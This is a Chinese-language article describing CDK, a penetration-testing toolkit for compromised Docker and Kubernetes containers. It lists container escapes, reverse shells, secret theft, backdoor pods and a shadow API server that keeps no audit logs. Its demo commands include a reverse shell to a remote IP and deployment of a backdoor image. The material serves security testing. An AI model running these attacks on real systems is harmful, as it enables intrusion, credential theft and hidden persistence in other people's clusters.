作者: CDK-Team
項目地址:https://github.com/cdk-team/CDK/
CDK是一款爲容器環境定製的滲透測試工具,在已攻陷的容器內部提供零依賴的常用命令及PoC/EXP。集成Docker/K8s場景特有的 逃逸、橫向移動、持久化利用方式,插件化管理。
場景介紹
伴隨着容器技術的快速發展,容器安全問題也逐漸成爲企業所關注的話題。針對容器場景的滲透測試一方面要求攻擊者理解對Docker/K8s以及雲服務的原理、特性以及漏洞利用方式;另一方面,攻擊者通過業務漏洞(如WEB RCE)攻入容器後往往面對的是一個縮減後的容器環境,缺乏常用的linux命令依賴導致滲透效率不佳。
CDK爲安全測試人員提供了golang原生的容器環境滲透能力,主要有以下幾點:
- 評估容器內部弱點、蒐集敏感信息。
- 提供多種容器逃逸的漏洞利用方式。
- 提供K8s環境的多種持久化、橫向移動方式。
- 提供原生的進程、網絡命令,便於測試者自定義攻擊操作。
功能
CDK包括三個功能模塊
- Evaluate: 容器內部信息收集,以發現潛在的弱點便於後續利用。
- Exploit: 提供容器逃逸、持久化、橫向移動等利用方式。
- Tool: 修復滲透過程中常用的linux命令以及與Docker/K8s API交互的命令。
Evaluate 模塊
用於本地信息收集,尋找可用的逃逸點,使用 --full
參數時會包含本地文件掃描。
類別 | 檢測點 | 已支持 | 詳細文檔 |
---|---|---|---|
本地信息收集 | OS基本信息 | ✔ | link |
本地信息收集 | 可用的Capabilities | ✔ | link |
本地信息收集 | 可用的Linux命令 | ✔ | link |
本地信息收集 | 掛載情況 | ✔ | link |
本地信息收集 | 網絡namespace隔離情況 | ✔ | link |
本地信息收集 | 環境變量 | ✔ | link |
本地信息收集 | 敏感服務 | ✔ | link |
本地信息收集 | 敏感目錄及文件 | ✔ | link |
本地信息收集 | kube-proxy邊界繞過(CVE-2020-8558) | ✔ | link |
網絡探測 | K8s Api-server信息 | ✔ | link |
網絡探測 | K8s Service-account信息 | ✔ | link |
網絡探測 | 雲廠商Metadata API | ✔ | link |
Exploit 模塊
執行指定的exp。
類別 | 功能 | 調用名 | 已支持 | 文檔 |
---|---|---|---|---|
容器逃逸 | docker-runc CVE-2019-5736 | runc-pwn | ✔ | |
容器逃逸 | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | link |
容器逃逸 | docker.sock逃逸PoC(docker-in-docker) | docker-sock-check | ✔ | link |
容器逃逸 | docker.sock部署惡意鏡像 | docker-sock-deploy | ✔ | link |
容器逃逸 | 掛載逃逸(特權容器) | mount-disk | ✔ | link |
容器逃逸 | Cgroup逃逸(特權容器) | mount-cgroup | ✔ | link |
容器逃逸 | Procfs目錄掛載逃逸 | mount-procfs | ✔ | link |
容器逃逸 | Ptrace逃逸PoC | check-ptrace | ✔ | link |
容器逃逸 | lxcfs cgroup錯誤配置逃逸 | lxcfs-rw | ✔ | link |
容器逃逸 | 重寫Cgroup以訪問設備 | rewrite-cgroup-devices | ✔ | link |
網絡探測 | K8s組件探測 | service-probe | ✔ | link |
信息收集 | 檢查和獲取Istio元信息 | istio-check | ✔ | link |
遠程控制 | 反彈shell | reverse-shell | ✔ | link |
信息竊取 | 掃描AK及API認證憑據 | ak-leakage | ✔ | link |
信息竊取 | 竊取K8s Secrets | k8s-secret-dump | ✔ | link |
信息竊取 | 竊取K8s Config | k8s-configmap-dump | ✔ | link |
持久化 | 部署WebShell | webshell-deploy | ✔ | link |
持久化 | 部署後門Pod | k8s-backdoor-daemonset | ✔ | link |
持久化 | 部署影子K8s api-server | k8s-shadow-apiserver | ✔ | link |
持久化 | K8s MITM攻擊(CVE-2020-8554) | k8s-mitm-clusterip | ✔ | link |
持久化 | 部署K8s CronJob | k8s-cronjob | ✔ | link |
Tool 模塊
還原部分常用的Linux命令,解決容器環境縮減的問題。
子命令 | 描述 | 已支持 | 文檔 |
---|---|---|---|
nc | TCP隧道 | ✔ | link |
ps | 獲取進程信息 | ✔ | link |
ifconfig | 獲取網絡信息 | ✔ | link |
vi | 文本編輯 | ✔ | link |
kcurl | 發包到K8s api-server | ✔ | link |
dcurl | 發包到Docker HTTP API | ||
ucurl | 發包到Docker Unix Socket | ✔ | link |
rcurl | 發包到Docker Registry API | ||
probe | IP/端口掃描 | ✔ | link |
kproxy | kubectl代理轉發 |
使用方法
下載可執行文件投遞到已攻入的容器內部開始測試:
命令行參數:
Container DucK
Zero-dependency docker/k8s penetration toolkit by <[email protected]>
Find tutorial, configuration and use-case in https://github.com/Xyntax/CDK/wiki
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weekness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/Xyntax/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl (get|post) <url> <data> Make request to K8s api-server.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
工具演示
評估容器弱點
cdk evaluate --full
containerd-shim(CVE-2020-15257)漏洞逃逸
通過共享的net namespace向宿主機的containerd-shim進程發起請求,利用其特性反彈宿主機的shell到遠端服務器。
./cdk run shim-pwn 47.104.151.168 111
docker.sock漏洞逃逸
通過本地docker.sock向控制宿主機的docker進程,拉取指定的後門鏡像並運行,運行過程中鏡像將宿主機的根目錄/
掛載到容器內部的/host
目錄下,便於通過後門容器修改宿主機本地文件(如crontab)來完成逃逸。
# deploy image from dockerhub
./cdk run docker-sock-deploy /var/run/docker.sock alpine:latest
# deploy image from user image registry
./cdk run docker-sock-deploy registry.cn-shanghai.aliyuncs.com/sandboxed-container/cve-2019-5736:change_root_pwd
部署K8s shadow apiserver
向K8s集羣中部署一個shadow apiserver,該apiserver具有和集羣中現存的apiserver一致的功能,同時開啓了全部K8s管理權限,接受匿名請求且不保存審計日誌。便於攻擊者無痕跡的管理整個集羣以及下發後續滲透行動。
./cdk run k8s-shadow-apiserver default
項目地址
本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1474/